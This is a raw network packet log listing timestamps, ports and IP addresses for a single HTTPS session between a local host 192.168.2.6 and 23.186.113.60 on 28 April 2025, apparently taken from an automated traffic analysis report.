Apr 28, 2025 13:24:10.641788960 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.641958952 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.641978979 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.642019033 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.642024040 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.642041922 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.642117977 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.642138958 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.642174959 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.642179966 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.642193079 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.642415047 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.642429113 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.642458916 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.642465115 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.642474890 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.642899036 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.642919064 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.642955065 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.642960072 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.642971039 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.642977953 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.642993927 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.643038034 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.643043041 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.643059015 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.643435001 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.643454075 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.643486977 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.643491030 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.643500090 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.643507004 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.643516064 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.643544912 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.643549919 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.643578053 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.644032955 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.644053936 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.644088030 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.644093990 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.644100904 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.644114017 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.644115925 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.644145966 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.644150972 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.644177914 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.644275904 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.644293070 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.644315958 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.644325018 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.644335032 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.697130919 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.797548056 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.797571898 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.797620058 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.797633886 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.797662020 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.797667027 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.797679901 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.797684908 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.797698021 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.797712088 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.797738075 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.797743082 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.797780037 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.797837973 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.797856092 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.797888041 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.797894001 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.797918081 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.797919989 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.797936916 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.797938108 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.797950983 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.797980070 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.797998905 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.798082113 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798099995 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798249960 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798278093 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798356056 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.798362970 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798377037 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798393965 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798425913 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.798432112 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798453093 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.798547029 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798564911 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798592091 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.798597097 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798605919 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.798651934 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.798681974 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798696995 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798748016 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.798753977 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798814058 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.798815966 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798825979 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798846006 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798881054 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.798887014 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798896074 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.798933029 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798948050 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.798979044 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.798985004 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.799007893 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.799145937 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.799154043 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.799158096 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.799175024 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.799199104 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.799207926 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.799233913 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.799397945 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.799464941 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.799479961 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.799510956 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.799515009 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.799539089 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.799540043 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.799562931 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.799597979 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.799602032 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.799619913 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.799683094 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.799700022 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.799730062 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.799735069 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.799767971 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.799817085 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.799834967 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.799873114 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.799879074 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.799889088 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.799954891 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.800081015 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.800344944 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.800360918 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.800396919 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.800400972 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.800410986 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.800596952 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.800986052 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.801007986 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.801038980 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.801043987 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.801069975 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.801232100 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.801249981 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.801284075 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.801287889 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.801314116 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.801388979 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.801403046 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.801445961 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.801451921 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.801990986 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.802009106 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.802041054 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.802047014 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.802056074 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.802170038 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.802186012 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.802218914 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.802223921 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.802246094 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.802544117 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.802561998 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.802596092 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.802601099 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.802623034 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.803069115 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.803081989 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.803124905 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.803133965 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.803195000 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.803211927 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.803239107 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.803245068 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.803253889 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.803883076 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.803896904 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.803929090 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.803934097 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.803944111 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.853250027 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.948584080 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.948621035 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.948674917 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.948695898 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.948721886 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.948744059 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.948746920 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.948757887 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.948791981 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.948805094 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.948812008 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.948856115 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.949019909 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.949034929 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.949071884 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.949078083 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.949099064 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.949112892 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.949194908 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.949208975 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.949243069 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.949248075 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.949270010 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.949289083 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.949373007 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.949388027 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.949425936 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.949434042 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.949445009 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.949460983 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.949521065 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.949537039 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.949583054 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.949589968 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.949630022 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.949748039 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.949776888 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.949810982 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.949815989 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.949840069 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.949857950 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.949951887 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.949966908 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.950012922 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.950021029 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.950062037 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.950200081 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.950215101 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.950267076 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.950272083 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.950309992 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.950365067 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.950378895 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.950412035 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.950417995 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.950445890 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.950454950 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.950522900 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.950539112 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.950579882 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.950586081 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.950618982 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.950740099 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.950754881 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.950807095 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.950812101 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.950849056 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.950949907 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.950965881 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.951011896 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.951018095 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.951060057 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.951234102 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.951248884 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.951297998 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.951303005 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.951340914 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.951359034 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.951374054 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.951406002 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.951410055 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.951440096 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.951452971 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.951651096 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.951666117 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.951719046 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.951725006 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.951761007 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.951879025 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.951895952 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.951942921 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.951946974 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.951983929 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.952115059 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.952128887 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.952171087 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.952176094 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.952208996 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.952382088 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.952398062 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.952449083 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.952455044 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.952488899 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.952545881 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.952560902 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.952604055 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.952608109 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.952641010 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.952725887 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.952742100 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.952781916 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.952791929 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.952826977 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.952992916 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953017950 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953053951 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.953059912 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953082085 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.953097105 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.953140020 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953155994 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953183889 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.953188896 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953216076 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.953227997 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.953290939 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953306913 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953337908 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.953342915 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953368902 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.953545094 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953562975 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953579903 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.953586102 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953596115 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.953629017 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.953712940 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953727961 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953767061 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.953773975 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953809977 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.953860998 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953876019 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953905106 CEST	49686	443	192.168.2.6	23.186.113.60
